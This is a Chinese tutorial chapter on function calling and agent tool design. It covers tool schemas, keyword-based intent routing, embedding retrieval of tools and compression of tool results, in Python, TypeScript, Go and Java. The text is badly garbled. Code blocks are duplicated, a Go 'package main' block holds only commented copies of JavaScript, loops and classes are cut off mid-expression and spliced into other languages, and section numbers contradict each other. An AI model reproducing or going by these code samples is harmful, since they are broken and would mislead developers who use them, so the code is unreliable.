20902 字
约 69 分钟
1
第10章 Function-Calling与工具设计
2026-09-18
第10章 Function-Calling与工具设计
来源：https://ai-agent-guide.xiaofuge.cn/chapters/ch06-tools.html 所属：第三篇-Agent的手脚
从单次调用到智能路由——工具系统的工程实践 🔧 这章最重要的不是工具多，而是闭环完整
很多人学工具调用时，会急着堆很多 API、很多 Skill。其实真正的最小闭环只有四步：用户提问 → 模型判断要不要用工具 → 框架执行工具 → 模型基于结果回答。
只要你把这个闭环理解透了，后面的工具路由、Skill 分层、并发控制都只是工程强化。反过来，如果这个闭环都没跑顺，就不该继续往系统设计上堆复杂度。
10.1 LLM 的能力边界
LLM 再强大，也有硬伤：
❌ LLM 做不到的事
- 获取实时信息（天气、新闻、股价）
- 执行代码和数学计算
- 读写文件和数据库
- 发送消息和调用外部服务
- 访问互联网
✅ 工具让 Agent 做到的事
- 搜索引擎获取实时信息
- Python 沙箱执行代码
- 文件系统和数据库操作
- 发邮件、调 API、发消息
- 网页爬取和自动化操作
LLM 是大脑，工具是手脚。没有工具的 Agent 就像一个瘫痪的天才——什么都懂，但什么都做不了。
10.2 工具调用的三代演进
1
第一代：Prompt 工程（2022-2023）
在 System Prompt 中描述工具格式，让 LLM 输出特定格式的文本（如 "Action: search(query)"），框架再解析执行。代表：ReAct 原始论文、LangChain Agent。
← 1 / 3 → 重播
10.3 Function Calling 详解
Function Calling 是目前工具调用的主流方式。来看完整的调用流程：
工具定义：JSON Schema
// 定义工具
const tools = [
{
type: "function",
function: {
name: "get_weather",
description: "获取指定城市的天气信息",
parameters: {
type: "object",
properties: {
city: {
type: "string",
description: "城市名称，如：北京、上海"
},
date: {
type: "string",
description: "日期，格式 YYYY-MM-DD，默认今天"
}
},
required: ["city"]
}
}
},
{
type: "function",
function: {
name: "run_python",
description: "执行 Python 代码并返回输出",
parameters: {
type: "object",
properties: {
code: {
type: "string",
description: "要执行的 Python 代码"
}
},
required: ["code"]
}
}
}
];
// 调用 LLM
const response = await openai.chat.completions.create({
model: "gpt-4o",
messages: [{ role: "user", content: "北京明天天气怎么样？" }],
tools: tools // 传入工具定义
});
// LLM 返回函数调用
const toolCall = response.choices[0].message.tool_calls[0];
// { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// 执行实际函数
const result = await getWeather("北京", "2026-07-02");
// 结果回传 LLM 生成自然语言回答
const finalResponse = await openai.chat.completions.create({
model: "gpt-4o",
messages: [
{ role: "user", content: "北京明天天气怎么样？" },
response.choices[0].message,
{ role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
]
});
// // 定义工具
// const tools = [
// {
// type: "function",
// function: {
// name: "get_weather",
// description: "获取指定城市的天气信息",
// parameters: {
// type: "object",
// properties: {
// city: {
// type: "string",
// description: "城市名称，如：北京、上海"
// },
// date: {
// type: "string",
// description: "日期，格式 YYYY-MM-DD，默认今天"
// }
// },
// required: ["city"]
// }
// }
// },
// {
// type: "function",
// function: {
// name: "run_python",
// description: "执行 Python 代码并返回输出",
// parameters: {
// type: "object",
// properties: {
// code: {
// type: "string",
// description: "要执行的 Python 代码"
// }
// },
// required: ["code"]
// }
// }
// }
// ];
// // 调用 LLM
// const response = await openai.chat.completions.create({
// model: "gpt-4o",
// messages: [{ role: "user", content: "北京明天天气怎么样？" }],
// tools: tools // 传入工具定义
// });
// // LLM 返回函数调用
// const toolCall = response.choices[0].message.tool_calls[0];
// // { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// // 执行实际函数
// const result = await getWeather("北京", "2026-07-02");
// // 结果回传 LLM 生成自然语言回答
// const finalResponse = await openai.chat.completions.create({
// model: "gpt-4o",
// messages: [
// { role: "user", content: "北京明天天气怎么样？" },
// response.choices[0].message,
// { role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
// ]
// });
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// Python: // 定义工具
// Python: const tools = [
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "get_weather",
// Python: description: "获取指定城市的天气信息",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: city: {
// Python: type: "string",
// Python: description: "城市名称，如：北京、上海"
// Python: },
// Python: date: {
// Python: type: "string",
// Python: description: "日期，格式 YYYY-MM-DD，默认今天"
// Python: }
// Python: },
// Python: required: ["city"]
// Python: }
// Python: }
// Python: },
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "run_python",
// Python: description: "执行 Python 代码并返回输出",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: code: {
// Python: type: "string",
// Python: description: "要执行的 Python 代码"
// Python: }
// Python: },
// Python: required: ["code"]
// Python: }
// Python: }
// Python: }
// Python: ];
// Python: // 调用 LLM
// Python: const response = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [{ role: "user", content: "北京明天天气怎么样？" }],
// Python: tools: tools // 传入工具定义
// Python: });
// Python: // LLM 返回函数调用
// Python: const toolCall = response.choices[0].message.tool_calls[0];
// Python: // { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// Python: // 执行实际函数
// Python: const result = await getWeather("北京", "2026-07-02");
// Python: // 结果回传 LLM 生成自然语言回答
// Python: const finalResponse = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [
// Python: { role: "user", content: "北京明天天气怎么样？" },
// Python: response.choices[0].message,
// Python: { role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
// Python: ]
// Python: });
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// Python: // 定义工具
// Python: const tools = [
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "get_weather",
// Python: description: "获取指定城市的天气信息",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: city: {
// Python: type: "string",
// Python: description: "城市名称，如：北京、上海"
// Python: },
// Python: date: {
// Python: type: "string",
// Python: description: "日期，格式 YYYY-MM-DD，默认今天"
// Python: }
// Python: },
// Python: required: ["city"]
// Python: }
// Python: }
// Python: },
// Python: {
// Python: type: "function",
// Python: function: {
// Python: name: "run_python",
// Python: description: "执行 Python 代码并返回输出",
// Python: parameters: {
// Python: type: "object",
// Python: properties: {
// Python: code: {
// Python: type: "string",
// Python: description: "要执行的 Python 代码"
// Python: }
// Python: },
// Python: required: ["code"]
// Python: }
// Python: }
// Python: }
// Python: ];
// Python: // 调用 LLM
// Python: const response = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [{ role: "user", content: "北京明天天气怎么样？" }],
// Python: tools: tools // 传入工具定义
// Python: });
// Python: // LLM 返回函数调用
// Python: const toolCall = response.choices[0].message.tool_calls[0];
// Python: // { name: "get_weather", arguments: '{"city":"北京","date":"2026-07-02"}' }
// Python: // 执行实际函数
// Python: const result = await getWeather("北京", "2026-07-02");
// Python: // 结果回传 LLM 生成自然语言回答
// Python: const finalResponse = await openai.chat.completions.create({
// Python: model: "gpt-4o",
// Python: messages: [
// Python: { role: "user", content: "北京明天天气怎么样？" },
// Python: response.choices[0].message,
// Python: { role: "tool", tool_call_id: toolCall.id, content: JSON.stringify(result) }
// Python: ]
// Python: });
}
10.4 工具分类体系
🔧 Agent 工具全景
🔍 信息获取
- Web 搜索（Google/Bing API）
- 天气查询
- 新闻聚合
- 知识库检索（RAG）
- 数据库查询
⚙️ 代码执行
- Python REPL（沙箱）
- Shell 命令执行
- SQL 执行器
- JavaScript 运行时
- Jupyter Notebook
📝 文件操作
- 读写文件
- 创建/删除目录
- 文件搜索
- PDF/Word/Excel 解析
- 文件格式转换
🌐 通信交互
- 发送邮件
- HTTP 请求
- Webhook 调用
- 消息推送（Slack/Discord）
- 浏览器自动化
🔗 关于 Skills（工具的组合与复用）
Function Calling 是单次工具调用的基础。但当 Agent 需要组合多个工具、形成可复用的能力包时，就进入了 Skills 的领域——Skill 的定义、三层结构、匹配与路由、分层体系、沉淀机制等完整内容，请参见第12章「Skills：工具的组合与复用」。
本章接下来的内容聚焦于工具调用的工程实践：意图识别与工具路由（9.10）、上下文工程与工具管理（9.11）、消息压缩（9.12）、Structured Output（9.13）、实战路由系统（9.14）、并发控制与弱模型兼容（9.15）。
10.10 意图识别与工具路由
用户说"帮我查下北京天气"，Agent 需要先理解用户到底想做什么，才能选到正确的工具。这就是意图识别——工具路由的"大脑"。
意图分类体系
🧠 四类意图 → 四类工具
🔍 信息获取意图
用户想知道某件事。关键词：查、看、了解、搜索、查询。
例："北京天气怎么样" → 搜索/天气API
例："最新的AI论文有哪些" → 搜索工具
⚙️ 代码执行意图
用户想运行代码做计算。关键词：算、运行、执行、分析、处理。
例："用Python画个饼图" → Python沙箱
例："计算这组数据的标准差" → 代码执行工具
📝 文件操作意图
用户想读写操作文件。关键词：保存、读取、修改、创建、导出。
例："把结果保存为CSV" → 文件写入工具
例："读取这份PDF的内容" → PDF解析工具
🌐 通信交互意图
用户想发送消息或调用服务。关键词：发、通知、推送、提交、调用。
例："给张三发邮件" → 邮件工具
例："推送消息到Slack" → Slack API工具
隐式意图识别
用户不会总是明确说"我要搜索"或"我要执行代码"。很多请求是隐式的： | 用户说 | 表面意思 | 隐式意图 | 应选工具 | | --- | --- | --- | --- | | "帮我查下北京天气" | 查询天气 | 信息获取 | 天气API / 搜索 | | "这个数据有什么规律" | 分析数据 | 代码执行 | Python沙箱 | | "把这个报告存下来" | 保存文件 | 文件操作 | 文件写入 | | "提醒团队下午开会" | 通知 | 通信交互 | Slack / 邮件 | 意图识别的核心不是关键词匹配，而是理解用户想达成的目标。"查天气"和"外面冷不冷"表面完全不同，但意图相同。
复合意图拆解
很多用户请求包含多个意图，需要拆解后依次或并行执行：
from enum import Enum
from dataclasses import dataclass
from typing import List
class IntentType(Enum):
INFO_QUERY = "信息获取" # 搜索、查询、获取
CODE_EXEC = "代码执行" # 计算、分析、运行
FILE_OP = "文件操作" # 读写、保存、导出
COMM_INTERACT = "通信交互" # 发送、通知、推送
@dataclass
class Intent:
type: IntentType
original_text: str # 原始用户表述
target: str # 具体目标（如"北京天气"）
priority: int = 0 # 执行优先级，0最高
depends_on: List[str] = None # 依赖的前置意图ID
# 意图分类器 —— 可用LLM或轻量模型实现
INTENT_KEYWORDS = {
IntentType.INFO_QUERY: ["查", "看", "搜索", "查询", "了解", "什么", "多少", "怎样"],
IntentType.CODE_EXEC: ["算", "运行", "执行", "分析", "处理", "画", "计算", "统计"],
IntentType.FILE_OP: ["保存", "读取", "修改", "创建", "导出", "写入", "下载"],
IntentType.COMM_INTERACT: ["发", "通知", "推送", "提交", "发送", "提醒", "转发"],
}
def classify_intent(user_input: str) -> List[Intent]:
"""识别意图，支持复合意图拆解"""
intents = []
# 简单关键词匹配 → 生产环境应替换为LLM意图分类
# 复合请求检测：包含"并""然后""再"等连接词
sub_requests = split_composite_request(user_input)
for sub in sub_requests:
matched_type = None
for intent_type, keywords in INTENT_KEYWORDS.items():
if any(kw in sub for kw in keywords):
matched_type = intent_type
break
if matched_type:
intents.append(Intent(
type=matched_type,
original_text=sub,
target=extract_target(sub)
))
# 设置依赖关系：后置意图可能依赖前置意图的结果
for i in range(1, len(intents)):
if intents[i].type == IntentType.CODE_EXEC and intents[i-1].type == IntentType.INFO_QUERY:
intents[i].depends_on = [intents[i-1].original_text]
return intents
def split_composite_request(text: str) -> List[str]:
"""拆解复合请求"""
connectors = ["并", "然后", "再", "接着", "以及", "而且"]
for conn in connectors:
if conn in text:
parts = text.split(conn, 1)
return [p.strip() for p in parts if p.strip()]
return [text]
def extract_target(text: str) -> str:
"""提取意图目标（简化版）"""
# 去掉意图关键词，保留核心内容
for keywords in INTENT_KEYWORDS.values():
for kw in keywords:
if kw in text:
return text.replace(kw, "").strip()
return text
# 意图 → 工具映射
INTENT_TOOL_MAP = {
IntentType.INFO_QUERY: ["web_search", "weather_api", "news_api", "knowledge_base"],
IntentType.CODE_EXEC: ["python_executor", "sql_executor", "js_runtime"],
IntentType.FILE_OP: ["file_read", "file_write", "pdf_parser", "csv_handler"],
IntentType.COMM_INTERACT: ["send_email", "slack_notify", "webhook_call"],
}
def route_to_tools(intents: List[Intent]) -> List[str]:
"""意图 → 工具名称映射"""
candidate_tools = []
for intent in intents:
candidate_tools.extend(INTENT_TOOL_MAP.get(intent.type, []))
return candidate_tools
# ===== 使用示例 =====
user_request = "帮我搜索最新的AI论文并用Python分析引用趋势"
intents = classify_intent(user_request)
for i, intent in enumerate(intents):
print(f"意图{i+1}: {intent.type.value} | 目标: {intent.target}")
if intent.depends_on:
print(f" ⚠️ 依赖前置结果: {intent.depends_on}")
# 输出:
# 意图1: 信息获取 | 目标: 最新的AI论文
# 意图2: 代码执行 | 目标: 分析引用趋势
# ⚠️ 依赖前置结果: ['最新的AI论文']
tools = route_to_tools(intents)
print(f"候选工具: {tools}")
# 输出: 候选工具: ['web_search', 'weather_api', ..., 'python_executor', ...]
enum IntentType {
INFO_QUERY = '信息获取',
CODE_EXEC = '代码执行',
FILE_OP = '文件操作',
COMM_INTERACT = '通信交互'
}
interface Intent {
type: IntentType;
originalText: string;
target: string;
priority: number;
dependsOn: string[] | null;
}
const INTENT_KEYWORDS: Record = {
[IntentType.INFO_QUERY]: ['查', '看', '搜索', '查询', '了解', '什么', '多少', '怎样'],
[IntentType.CODE_EXEC]: ['算', '运行', '执行', '分析', '处理', '画', '计算', '统计'],
[IntentType.FILE_OP]: ['保存', '读取', '修改', '创建', '导出', '写入', '下载'],
[IntentType.COMM_INTERACT]: ['发', '通知', '推送', '提交', '发送', '提醒', '转发']
};
function classifyIntent(userInput: string): Intent[] {
const intents: Intent[] = [];
const subRequests = splitCompositeRequest(userInput);
for (const sub of subRequests) {
let matchedType: IntentType | null = null;
for (const [intentType, keywords] of Object.entries(INTENT_KEYWORDS)) {
if (keywords.some(kw => sub.includes(kw))) {
matchedType = intentType as IntentType;
break;
}
}
if (matchedType) {
intents.push({
type: matchedType,
originalText: sub,
target: extractTarget(sub),
priority: 0,
dependsOn: null
});
}
}
for (let i = 1; i p.trim()).filter(p => p);
}
}
return [text];
}
function extractTarget(text: string): string {
for (const keywords of Object.values(INTENT_KEYWORDS)) {
for (const kw of keywords) {
if (text.includes(kw)) {
return text.replace(kw, '').trim();
}
}
}
return text;
}
const INTENT_TOOL_MAP: Record = {
[IntentType.INFO_QUERY]: ['web_search', 'weather_api', 'news_api', 'knowledge_base'],
[IntentType.CODE_EXEC]: ['python_executor', 'sql_executor', 'js_runtime'],
[IntentType.FILE_OP]: ['file_read', 'file_write', 'pdf_parser', 'csv_handler'],
[IntentType.COMM_INTERACT]: ['send_email', 'slack_notify', 'webhook_call']
};
function routeToTools(intents: Intent[]): string[] {
const tools: string[] = [];
for (const intent of intents) {
tools.push(...INTENT_TOOL_MAP[intent.type]);
}
return tools;
}
// ===== 使用示例 =====
const userRequest = '帮我搜索最新的AI论文并用Python分析引用趋势';
const intents = classifyIntent(userRequest);
intents.forEach((intent, i) => {
console.log(`意图${i+1}: ${intent.type} | 目标: ${intent.target}`);
if (intent.dependsOn) {
console.log(` ⚠️ 依赖前置结果: ${intent.dependsOn}`);
}
});
const tools = routeToTools(intents);
console.log(`候选工具: ${tools}`);
package main
import (
"fmt"
"strings"
)
type IntentType string
const (
IntentInfoQuery IntentType = "信息获取"
IntentCodeExec IntentType = "代码执行"
IntentFileOp IntentType = "文件操作"
IntentCommInteract IntentType = "通信交互"
)
type Intent struct {
Type IntentType
OriginalText string
Target string
Priority int
DependsOn []string
}
var intentKeywords = map[IntentType][]string{
IntentInfoQuery: {"查", "看", "搜索", "查询", "了解", "什么", "多少", "怎样"},
IntentCodeExec: {"算", "运行", "执行", "分析", "处理", "画", "计算", "统计"},
IntentFileOp: {"保存", "读取", "修改", "创建", "导出", "写入", "下载"},
IntentCommInteract: {"发", "通知", "推送", "提交", "发送", "提醒", "转发"},
}
func classifyIntent(userInput string) []Intent {
var intents []Intent
subRequests := splitCompositeRequest(userInput)
for _, sub := range subRequests {
var matchedType IntentType
for itype, keywords := range intentKeywords {
for _, kw := range keywords {
if strings.Contains(sub, kw) {
matchedType = itype
break
}
}
if matchedType != "" {
break
}
}
if matchedType != "" {
intents = append(intents, Intent{
Type: matchedType,
OriginalText: sub,
Target: extractTarget(sub),
})
}
}
for i := 1; i dependsOn;
Intent(IntentType type, String originalText, String target) {
this.type = type;
this.originalText = originalText;
this.target = target;
}
}
static final Map> INTENT_KEYWORDS = new EnumMap<>(IntentType.class);
static final Map> INTENT_TOOL_MAP = new EnumMap<>(IntentType.class);
static {
INTENT_KEYWORDS.put(IntentType.INFO_QUERY, Arrays.asList("查", "看", "搜索", "查询", "了解", "什么", "多少", "怎样"));
INTENT_KEYWORDS.put(IntentType.CODE_EXEC, Arrays.asList("算", "运行", "执行", "分析", "处理", "画", "计算", "统计"));
INTENT_KEYWORDS.put(IntentType.FILE_OP, Arrays.asList("保存", "读取", "修改", "创建", "导出", "写入", "下载"));
INTENT_KEYWORDS.put(IntentType.COMM_INTERACT, Arrays.asList("发", "通知", "推送", "提交", "发送", "提醒", "转发"));
INTENT_TOOL_MAP.put(IntentType.INFO_QUERY, Arrays.asList("web_search", "weather_api", "news_api", "knowledge_base"));
INTENT_TOOL_MAP.put(IntentType.CODE_EXEC, Arrays.asList("python_executor", "sql_executor", "js_runtime"));
INTENT_TOOL_MAP.put(IntentType.FILE_OP, Arrays.asList("file_read", "file_write", "pdf_parser", "csv_handler"));
INTENT_TOOL_MAP.put(IntentType.COMM_INTERACT, Arrays.asList("send_email", "slack_notify", "webhook_call"));
}
static List classifyIntent(String userInput) {
List intents = new ArrayList<>();
List subRequests = splitCompositeRequest(userInput);
for (String sub : subRequests) {
IntentType matchedType = null;
for (Map.Entry> entry : INTENT_KEYWORDS.entrySet()) {
for (String kw : entry.getValue()) {
if (sub.contains(kw)) {
matchedType = entry.getKey();
break;
}
}
if (matchedType != null) break;
}
if (matchedType != null) {
intents.add(new Intent(matchedType, sub, extractTarget(sub)));
}
}
for (int i = 1; i splitCompositeRequest(String text) {
String[] connectors = {"并", "然后", "再", "接着", "以及", "而且"};
for (String conn : connectors) {
if (text.contains(conn)) {
String[] parts = text.split(java.util.regex.Pattern.quote(conn), 2);
List result = new ArrayList<>();
for (String p : parts) {
p = p.trim();
if (!p.isEmpty()) result.add(p);
}
return result;
}
}
return Collections.singletonList(text);
}
static String extractTarget(String text) {
for (List keywords : INTENT_KEYWORDS.values()) {
for (String kw : keywords) {
if (text.contains(kw)) {
return text.replace(kw, "").trim();
}
}
}
return text;
}
static List routeToTools(List intents) {
List tools = new ArrayList<>();
for (Intent intent : intents) {
tools.addAll(INTENT_TOOL_MAP.get(intent.type));
}
return tools;
}
public static void main(String[] args) {
String userRequest = "帮我搜索最新的AI论文并用Python分析引用趋势";
List intents = classifyIntent(userRequest);
for (int i = 0; i str:
"""构建工具的可搜索文本：名称+描述+参数摘要"""
func = tool["function"]
text = f"{func['name']}: {func['description']}"
if "parameters" in func:
props = func["parameters"].get("properties", {})
for pname, pinfo in props.items():
text += f" | 参数{pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text
def retrieve(self, user_query: str, top_k: int = 5) -> List[Dict]:
"""根据用户请求检索最相关的 Top-K 工具"""
query_emb = self.embedding_model.encode(user_query)
# cosine 相似度
similarities = np.dot(self.tool_embeddings, query_emb) / \
(np.linalg.norm(self.tool_embeddings, axis=1) * np.linalg.norm(query_emb))
top_indices = np.argsort(similarities)[-top_k:][::-1]
return [self.tools[i] for i in top_indices]
# ===== 使用示例 =====
tool_rag = ToolRAG(embedding_model=my_encoder, tools=all_50_tools)
# 用户请求来了
user_query = "帮我查下北京明天的天气"
relevant_tools = tool_rag.retrieve(user_query, top_k=3)
# 返回: [get_weather, web_search, news_api]
# 只把相关工具传给 LLM
response = openai.chat.completions.create(
model="gpt-4o",
messages=[{"role": "user", "content": user_query}],
tools=relevant_tools # ← 只传3个，而非全部50个
)
import OpenAI from 'openai';
interface Tool {
type: string;
function: {
name: string;
description: string;
parameters?: any;
};
}
class ToolRAG {
private tools: Tool[];
private toolEmbeddings: number[][];
private toolTexts: string[];
constructor(embeddingModel: any, tools: Tool[]) {
this.tools = tools;
this.toolEmbeddings = [];
this.toolTexts = [];
for (const tool of tools) {
const desc = this.buildSearchText(tool);
const emb = embeddingModel.encode(desc);
this.toolEmbeddings.push(emb);
this.toolTexts.push(desc);
}
}
private buildSearchText(tool: Tool): string {
const func = tool.function;
let text = `${func.name}: ${func.description}`;
if (func.parameters?.properties) {
for (const [pname, pinfo] of Object.entries(func.parameters.properties)) {
text += ` | 参数${pname}(${(pinfo as any).type || ''}): ${(pinfo as any).description || ''}`;
}
}
return text;
}
retrieve(userQuery: string, topK: number = 5): Tool[] {
const queryEmb = this.embeddingModel.encode(userQuery);
const similarities = this.toolEmbeddings.map((emb, i) => ({
index: i,
sim: this.cosineSimilarity(emb, queryEmb)
}));
similarities.sort((a, b) => b.sim - a.sim);
return similarities.slice(0, topK).map(s => this.tools[s.index]);
}
private cosineSimilarity(a: number[], b: number[]): number {
let dot = 0, normA = 0, normB = 0;
for (let i = 0; i sims[j].sim })
if topK > len(sims) { topK = len(sims) }
result := make([]Tool, topK)
for i := 0; i tools;
private List toolEmbeddings;
private EmbeddingModel embeddingModel;
public ToolRAG(EmbeddingModel embeddingModel, List tools) {
this.tools = tools;
this.embeddingModel = embeddingModel;
this.toolEmbeddings = new ArrayList<>();
for (Tool tool : tools) {
String desc = buildSearchText(tool);
toolEmbeddings.add(embeddingModel.encode(desc));
}
}
private String buildSearchText(Tool tool) {
StringBuilder text = new StringBuilder(tool.function.name + ": " + tool.function.description);
if (tool.function.parameters != null && tool.function.parameters.properties != null) {
for (Map.Entry entry : tool.function.parameters.properties.entrySet()) {
text.append(" | 参数").append(entry.getKey())
.append("(").append(entry.getValue().type).append(")")
.append(": ").append(entry.getValue().description);
}
}
return text.toString();
}
public List retrieve(String userQuery, int topK) {
double[] queryEmb = embeddingModel.encode(userQuery);
List indexed = new ArrayList<>();
List sims = new ArrayList<>();
for (int i = 0; i topIndices = new ArrayList<>();
for (int i = 0; i Double.compare(sims.get(b), sims.get(a)));
List result = new ArrayList<>();
for (int i = 0; i Dict[str, Any]:
"""压缩工具结果：选择性保留 + 截断"""
compressed = {}
# 策略②：选择性保留关键字段
key_fields = self.KEY_FIELDS_MAP.get(tool_name, [])
if key_fields:
for field in key_fields:
if field in result:
compressed[field] = self._truncate(
result[field],
self.MAX_TOKENS_MAP.get(tool_name, 500)
)
else:
# 无预定义字段 → 全量截断
compressed = self._truncate_dict(result, self.MAX_TOKENS_MAP.get(tool_name, 500))
# 添加压缩元信息
compressed["_meta"] = {
"tool": tool_name,
"original_tokens": self._estimate_tokens(result),
"compressed_tokens": self._estimate_tokens(compressed),
"compression_ratio": round(
self._estimate_tokens(compressed) / max(self._estimate_tokens(result), 1), 2
)
}
return compressed
def summarize_result(self, tool_name: str, result: Dict[str, Any], llm_client) -> str:
"""策略①：让 LLM 生成摘要替代原始结果"""
original_text = json.dumps(result, ensure_ascii=False)
prompt = f"""请用2~3句话总结以下工具调用结果的关键信息。
工具: {tool_name}
结果: {original_text}
只保留与用户任务最相关的信息，省略细节。"""
summary = llm_client.chat(prompt)
return summary
def archive_to_vector_store(self, tool_name: str, result: Dict[str, Any],
vector_store, ref_id: str) -> str:
"""策略③：完整结果归档到向量库，Context只保留引用"""
vector_store.store(ref_id, {
"tool": tool_name,
"result": result,
"timestamp": datetime.now().isoformat()
})
# Context 中只放摘要 + 引用ID
return f"[{tool_name}结果已归档 | ref={ref_id} | 如需详情可检索]"
def _truncate(self, text: str, max_tokens: int) -> str:
"""粗略截断（1 token ≈ 1.5 中文字 / 4 英文词）"""
max_chars = max_tokens * 2 # 保守估计
if len(str(text)) > max_chars:
return str(text)[:max_chars] + "...[已截断]"
return text
def _truncate_dict(self, d: Dict, max_tokens: int) -> Dict:
"""递归截断字典"""
result = {}
remaining = max_tokens * 2
for k, v in d.items():
entry = json.dumps({k: v}, ensure_ascii=False)
if len(entry) > remaining:
result[k] = str(v)[:remaining] + "...[截断]"
break
result[k] = v
remaining -= len(entry)
return result
def _estimate_tokens(self, obj: Any) -> int:
"""粗略估算 token 数"""
text = json.dumps(obj, ensure_ascii=False)
# 中文约 1.5 字/token，英文约 4 字符/token
return len(text) // 2
# ===== 使用示例 =====
compressor = ToolResultCompressor()
# 天气工具返回了20个字段，原始2000 tokens
weather_result = {
"temperature": 28, "feels_like": 30, "humidity": 65,
"pressure": 1013, "visibility": 10, "wind_speed": 3.2,
"wind_dir": "NE", "cloud_cover": 40, "uv_index": 6,
"description": "晴间多云", "dew_point": 18,
"sunrise": "05:30", "sunset": "19:45", ... # 还有更多
}
# 压缩后只保留3个关键字段 ≈ 150 tokens
compressed = compressor.compress("get_weather", weather_result)
print(f"原始: {compressed['_meta']['original_tokens']} tokens")
print(f"压缩: {compressed['_meta']['compressed_tokens']} tokens")
print(f"压缩率: {compressed['_meta']['compression_ratio']}")
# 输出: 原始: 2000 tokens | 压缩: 150 tokens | 压缩率: 0.075
class ToolResultCompressor {
private keyFieldsMap: Record = {
'get_weather': ['temperature', 'description', 'wind_speed'],
'web_search': ['title', 'snippet', 'url'],
'run_python': ['stdout'],
'file_read': ['content_preview'],
'sql_query': ['rows_summary']
};
private maxTokensMap: Record = {
'get_weather': 200,
'web_search': 300,
'run_python': 400,
'file_read': 500,
'sql_query': 300
};
compress(toolName: string, result: Record): Record {
const compressed: Record = {};
const keyFields = this.keyFieldsMap[toolName] || [];
const maxTokens = this.maxTokensMap[toolName] || 500;
if (keyFields.length > 0) {
for (const field of keyFields) {
if (field in result) {
compressed[field] = this.truncate(result[field], maxTokens);
}
}
} else {
Object.assign(compressed, this.truncateDict(result, maxTokens));
}
compressed._meta = {
tool: toolName,
original_tokens: this.estimateTokens(result),
compressed_tokens: this.estimateTokens(compressed),
compression_ratio: Math.round(
this.estimateTokens(compressed) / Math.max(this.estimateTokens(result), 1) * 100
) / 100
};
return compressed;
}
summarizeResult(toolName: string, result: any, llmClient: { chat: (p: string) => string }): string {
const originalText = JSON.stringify(result);
const prompt = `请用2~3句话总结以下工具调用结果的关键信息。\n工具: ${toolName}\n结果: ${originalText}\n只保留与用户任务最相关的信息，省略细节。`;
return llmClient.chat(prompt);
}
archiveToVectorStore(toolName: string, result: any, vectorStore: any, refId: string): string {
vectorStore.store(refId, { tool: toolName, result, timestamp: new Date().toISOString() });
return `[${toolName}结果已归档 | ref=${refId} | 如需详情可检索]`;
}
private truncate(text: any, maxTokens: number): string {
const maxChars = maxTokens * 2;
const str = String(text);
return str.length > maxChars ? str.slice(0, maxChars) + '...[已截断]' : str;
}
private truncateDict(d: Record, maxTokens: number): Record {
const result: Record = {};
let remaining = maxTokens * 2;
for (const [k, v] of Object.entries(d)) {
const entry = JSON.stringify({ [k]: v });
if (entry.length > remaining) {
result[k] = String(v).slice(0, remaining) + '...[截断]';
break;
}
result[k] = v;
remaining -= entry.length;
}
return result;
}
private estimateTokens(obj: any): number {
return Math.floor(JSON.stringify(obj).length / 2);
}
}
// 使用示例
const compressor = new ToolResultCompressor();
const weatherResult = { temperature: 28, feels_like: 30, humidity: 65, /* ... */ };
const compressed = compressor.compress('get_weather', weatherResult);
console.log(`原始: ${compressed._meta.original_tokens} tokens`);
console.log(`压缩: ${compressed._meta.compressed_tokens} tokens`);
package main
import (
"encoding/json"
"fmt"
"strings"
"time"
)
type ToolResultCompressor struct {
keyFieldsMap map[string][]string
maxTokensMap map[string]int
}
func NewToolResultCompressor() *ToolResultCompressor {
return &ToolResultCompressor{
keyFieldsMap: map[string][]string{
"get_weather": {"temperature", "description", "wind_speed"},
"web_search": {"title", "snippet", "url"},
"run_python": {"stdout"},
},
maxTokensMap: map[string]int{
"get_weather": 200,
"web_search": 300,
"run_python": 400,
},
}
}
func (c *ToolResultCompressor) Compress(toolName string, result map[string]interface{}) map[string]interface{} {
compressed := make(map[string]interface{})
keyFields := c.keyFieldsMap[toolName]
maxTokens := c.maxTokensMap[toolName]
if maxTokens == 0 { maxTokens = 500 }
if len(keyFields) > 0 {
for _, field := range keyFields {
if val, ok := result[field]; ok {
compressed[field] = c.truncate(val, maxTokens)
}
}
} else {
compressed = c.truncateDict(result, maxTokens)
}
originalTokens := c.estimateTokens(result)
compressedTokens := c.estimateTokens(compressed)
compressed["_meta"] = map[string]interface{}{
"tool": toolName,
"original_tokens": originalTokens,
"compressed_tokens": compressedTokens,
"compression_ratio": fmt.Sprintf("%.2f", float64(compressedTokens)/float64(max(originalTokens, 1))),
}
return compressed
}
func (c *ToolResultCompressor) ArchiveToVectorStore(toolName string, result map[string]interface{}, vectorStore VectorStore, refID string) string {
vectorStore.Store(refID, map[string]interface{}{
"tool": toolName,
"result": result,
"timestamp": time.Now().Format(time.RFC3339),
})
return fmt.Sprintf("[%s结果已归档 | ref=%s | 如需详情可检索]", toolName, refID)
}
func (c *ToolResultCompressor) truncate(text interface{}, maxTokens int) string {
maxChars := maxTokens * 2
str := fmt.Sprintf("%v", text)
if len(str) > maxChars {
return str[:maxChars] + "...[已截断]"
}
return str
}
func (c *ToolResultCompressor) truncateDict(d map[string]interface{}, maxTokens int) map[string]interface{} {
result := make(map[string]interface{})
remaining := maxTokens * 2
for k, v := range d {
entryBytes, _ := json.Marshal(map[string]interface{}{k: v})
if len(entryBytes) > remaining {
result[k] = fmt.Sprintf("%v...[截断]", v)[:remaining]
break
}
result[k] = v
remaining -= len(entryBytes)
}
return result
}
func (c *ToolResultCompressor) estimateTokens(obj interface{}) int {
bytes, _ := json.Marshal(obj)
return len(bytes) / 2
}
func max(a, b int) int { if a > b { return a }; return b }
